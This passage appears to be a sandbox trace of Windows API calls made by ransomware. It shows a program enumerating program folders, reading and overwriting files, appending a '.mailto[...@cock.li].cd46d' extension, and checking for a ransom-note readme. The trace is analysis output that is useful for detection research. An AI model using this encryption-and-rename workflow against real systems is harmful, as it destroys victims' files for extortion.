[0052.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\techtool.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe5c [0052.795] GetFileSizeEx (in: hFile=0xe5c, lpFileSize=0x1408f8ec | out: lpFileSize=0x1408f8ec*=2074) returned 1 [0052.795] SetFilePointerEx (in: hFile=0xe5c, liDistanceToMove=0x816, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.795] ReadFile (in: hFile=0xe5c, lpBuffer=0x1408f870, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1408f86c, lpOverlapped=0x0 | out: lpBuffer=0x1408f870*, lpNumberOfBytesRead=0x1408f86c*=0x4, lpOverlapped=0x0) returned 1 [0052.797] SetFilePointerEx (in: hFile=0xe5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.797] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e97b0 [0052.797] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428a50 [0052.797] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428ac8 [0052.797] NtQuerySystemTime (in: CurrentTime=0x1408f84c | out: CurrentTime=0x1408f84c*=132174898167828000) returned 0x0 [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x792ba5b7 [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x259c651b [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x2d7b88fb [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x9f1557a [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x1b09045d [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x13f0e659 [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x66024292 [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x1d377d7c [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x5a5e44cb [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x472c4cc1 [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x48262603 [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x11144c7c [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0xab9b627 [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x6d0832ed [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x3d14b051 [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x1c018493 [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x1b49243f [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x3d6b298b [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x1896e1ee [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x3c0bc2d5 [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x38f4037f [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x1eb1bed7 [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x21929d58 [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x586fa88a [0052.797] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x376989f4 [0052.798] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x2e7713f5 [0052.798] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x6e189393 [0052.798] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x135eba6b [0052.798] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x1b2e6bb6 [0052.798] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x5e27dc0f [0052.798] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x4c70775e [0052.798] RtlRandomEx (in: Seed=0x1408f858 | out: Seed=0x1408f858) returned 0x72fdab28 [0052.810] ReadFile (in: hFile=0xe5c, lpBuffer=0x19621920, nNumberOfBytesToRead=0x81a, lpNumberOfBytesRead=0x1408f848, lpOverlapped=0x0 | out: lpBuffer=0x19621920*, lpNumberOfBytesRead=0x1408f848*=0x81a, lpOverlapped=0x0) returned 1 [0052.810] SetFilePointerEx (in: hFile=0xe5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.811] WriteFile (in: hFile=0xe5c, lpBuffer=0x1962e128*, nNumberOfBytesToWrite=0x81a, lpNumberOfBytesWritten=0x1408f844, lpOverlapped=0x0 | out: lpBuffer=0x1962e128*, lpNumberOfBytesWritten=0x1408f844*=0x81a, lpOverlapped=0x0) returned 1 [0057.732] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428b40 [0057.732] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428a28 [0057.732] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428a28) returned 1 [0057.732] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1962e128) returned 1 [0057.732] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19621920) returned 1 [0057.732] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437670) returned 1 [0057.732] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c090) returned 1 [0057.732] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cecc0 [0057.732] SetFilePointerEx (in: hFile=0xe5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.732] WriteFile (in: hFile=0xe5c, lpBuffer=0x12d7c2d8*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x1408f8ac, lpOverlapped=0x0 | out: lpBuffer=0x12d7c2d8*, lpNumberOfBytesWritten=0x1408f8ac*=0x109, lpOverlapped=0x0) returned 1 [0058.451] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c2d8) returned 1 [0058.451] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cecf0) returned 1 [0058.451] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428a28) returned 1 [0058.451] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cecc0) returned 1 [0058.451] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428b40) returned 1 [0058.451] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428a50) returned 1 [0058.451] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428af0) returned 1 [0058.451] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428b18) returned 1 [0058.451] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00af0 [0058.451] wcscpy (in: _Dest=0x5e00af0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF" [0058.451] wcscat (in: _Dest=0x5e00af0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0058.451] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1408f864, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0058.451] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x449d80 [0058.490] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449d80) returned 1 [0058.490] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1e828) returned 1 [0058.490] NtQueryInformationFile (in: FileHandle=0xe5c, IoStatusBlock=0x1408f870, FileInformation=0x1408f848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1408f870, FileInformation=0x1408f848) returned 0x0 [0058.490] NtSetInformationFile (FileHandle=0xe5c, IoStatusBlock=0x1408f870, FileInformation=0x1408f848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0058.506] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00af0) returned 1 [0058.506] FlushFileBuffers (hFile=0xe5c) returned 1 [0062.192] CloseHandle (hObject=0xe5c) returned 1 [0062.627] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2a708 [0062.628] wcscpy (in: _Dest=0x12e2a708, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0062.628] wcscat (in: _Dest=0x12e2a708, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CD46D-Readme.txt" [0062.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\cd46d-readme.txt")) returned 0x20 [0062.628] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e2a708) returned 1 [0062.628] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f84d0) returned 1 Thread: id = 801 os_tid = 0x1060 [0051.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\techtool.htm")) returned 0x20 [0051.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM", dwFileAttributes=0x20) returned 1 [0052.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\techtool.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe60 [0052.811] GetFileSizeEx (in: hFile=0xe60, lpFileSize=0x13e0f908 | out: lpFileSize=0x13e0f908*=474) returned 1 [0052.811] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x1d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.811] ReadFile (in: hFile=0xe60, lpBuffer=0x13e0f88c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13e0f888, lpOverlapped=0x0 | out: lpBuffer=0x13e0f88c*, lpNumberOfBytesRead=0x13e0f888*=0x4, lpOverlapped=0x0) returned 1 [0052.812] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.812] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e97b0 [0052.812] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428ac8 [0052.812] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428b40 [0052.812] NtQuerySystemTime (in: CurrentTime=0x13e0f868 | out: CurrentTime=0x13e0f868*=132174898167984000) returned 0x0 [0052.812] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x24f68c0b [0052.812] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x58790607 [0052.812] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x3e4b7562 [0052.812] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x4208fbd2 [0052.812] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x11dce56 [0052.812] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x4e57b3df [0052.812] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x6cb2816d [0052.812] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x1a944c94 [0052.812] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x90ca3bf [0052.812] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x7c49af0b [0052.812] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0xca6076c [0052.812] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x5b72e60a [0052.812] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x66932a7c [0052.812] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x58f58c65 [0052.812] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x787d5d04 [0052.812] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x5b00e3d8 [0052.813] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0xd841806 [0052.813] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x613286a8 [0052.813] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x7fe8120b [0052.813] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x78f5a2d0 [0052.813] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x580d5f37 [0052.813] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x195509be [0052.813] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x2b6d675f [0052.813] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x724ebb0f [0052.813] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x1abf8033 [0052.813] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x692e3ff9 [0052.813] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x578094a1 [0052.813] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x21f9122f [0052.813] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0xbe79f19 [0052.813] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x4375a5eb [0052.813] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x735eb3f [0052.813] RtlRandomEx (in: Seed=0x13e0f874 | out: Seed=0x13e0f874) returned 0x4d989b25 [0052.827] ReadFile (in: hFile=0xe60, lpBuffer=0x1963a930, nNumberOfBytesToRead=0x1da, lpNumberOfBytesRead=0x13e0f864, lpOverlapped=0x0 | out: lpBuffer=0x1963a930*, lpNumberOfBytesRead=0x13e0f864*=0x1da, lpOverlapped=0x0) returned 1 [0052.827] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.827] WriteFile (in: hFile=0xe60, lpBuffer=0x19647138*, nNumberOfBytesToWrite=0x1da, lpNumberOfBytesWritten=0x13e0f860, lpOverlapped=0x0 | out: lpBuffer=0x19647138*, lpNumberOfBytesWritten=0x13e0f860*=0x1da, lpOverlapped=0x0) returned 1 [0056.471] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed908 [0056.471] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed8b8 [0056.471] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed8b8) returned 1 [0056.471] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19647138) returned 1 [0056.471] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1963a930) returned 1 [0056.471] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4376e8) returned 1 [0056.471] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c0d8) returned 1 [0056.471] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cecc0 [0056.471] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.472] WriteFile (in: hFile=0xe60, lpBuffer=0x196d0aa8*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x13e0f8c8, lpOverlapped=0x0 | out: lpBuffer=0x196d0aa8*, lpNumberOfBytesWritten=0x13e0f8c8*=0x109, lpOverlapped=0x0) returned 1 [0056.785] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196d0aa8) returned 1 [0056.785] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cecf0) returned 1 [0056.785] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed8b8) returned 1 [0056.785] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cecc0) returned 1 [0056.785] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed908) returned 1 [0056.785] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428ac8) returned 1 [0056.785] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428b68) returned 1 [0056.785] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428b90) returned 1 [0056.785] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00060 [0056.785] wcscpy (in: _Dest=0x5e00060, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM" [0056.785] wcscat (in: _Dest=0x5e00060, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM.mailto[2Hamlampampom@cock.li].cd46d" [0056.785] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x13e0f880, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.785] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x4452d8 [0056.787] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4452d8) returned 1 [0056.787] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d6ac8) returned 1 [0056.787] NtQueryInformationFile (in: FileHandle=0xe60, IoStatusBlock=0x13e0f88c, FileInformation=0x13e0f864, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x13e0f88c, FileInformation=0x13e0f864) returned 0x0 [0056.787] NtSetInformationFile (FileHandle=0xe60, IoStatusBlock=0x13e0f88c, FileInformation=0x13e0f864, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.789] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00060) returned 1 [0056.789] FlushFileBuffers (hFile=0xe60) returned 1 [0056.811] CloseHandle (hObject=0xe60) returned 1 [0056.816] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e29fb8 [0056.816] wcscpy (in: _Dest=0x12e29fb8, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0056.816] wcscat (in: _Dest=0x12e29fb8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CD46D-Readme.txt" [0056.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\cd46d-readme.txt")) returned 0x20 [0056.816] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e29fb8) returned 1 [0056.816] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f8558) returned 1 Thread: id = 802 os_tid = 0x1064 [0051.568] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xae) returned 0x45c298 [0051.568] wcscpy (in: _Dest=0x45c298, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements" [0051.568] wcscat (in: _Dest=0x45c298, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\" [0051.568] wcscat (in: _Dest=0x45c298, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*" [0051.568] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e05960 [0051.568] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*", lpFindFileData=0x12e05960 | out: lpFindFileData=0x12e05960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440de0 [0051.569] wcscmp (_String1=".", _String2=".") returned 0 [0051.569] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x12e05960 | out: lpFindFileData=0x12e05960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.569] wcscmp (_String1="..", _String2=".") returned 1 [0051.569] wcscmp (_String1="..", _String2="..") returned 0 [0051.569] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x12e05960 | out: lpFindFileData=0x12e05960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2b9400, ftCreationTime.dwHighDateTime=0x1c9c55a, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb2b9400, ftLastWriteTime.dwHighDateTime=0x1c9c55a, nFileSizeHigh=0x0, nFileSizeLow=0x1afd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SynchronizationEula.rtf", cAlternateFileName="SYNCHR~1.RTF")) returned 1 [0051.569] wcscmp (_String1="SynchronizationEula.rtf", _String2=".") returned 1 [0051.569] wcscmp (_String1="SynchronizationEula.rtf", _String2="..") returned 1 [0051.569] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xda) returned 0x445670 [0051.569] wcscpy (in: _Dest=0x445670, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements" [0051.570] wcscat (in: _Dest=0x445670, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\" [0051.570] wcscat (in: _Dest=0x445670, _Source="SynchronizationEula.rtf" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\SynchronizationEula.rtf") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\SynchronizationEula.rtf" [0051.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x445670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd60 [0051.798] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x12e05960 | out: lpFindFileData=0x12e05960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2b9400, ftCreationTime.dwHighDateTime=0x1c9c55a, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb2b9400, ftLastWriteTime.dwHighDateTime=0x1c9c55a, nFileSizeHigh=0x0, nFileSizeLow=0x1afd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SynchronizationEula.rtf", cAlternateFileName="SYNCHR~1.RTF")) returned 0 [0051.798] FindClose (in: hFindFile=0x440de0 | out: hFindFile=0x440de0) returned 1 [0051.798] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e05960) returned 1 [0051.798] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c298) returned 1 [0051.798] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c350) returned 1 Thread: id = 803 os_tid = 0x1068 [0051.570] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e08318 [0051.570] wcscpy (in: _Dest=0x12e08318, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN" [0051.570] 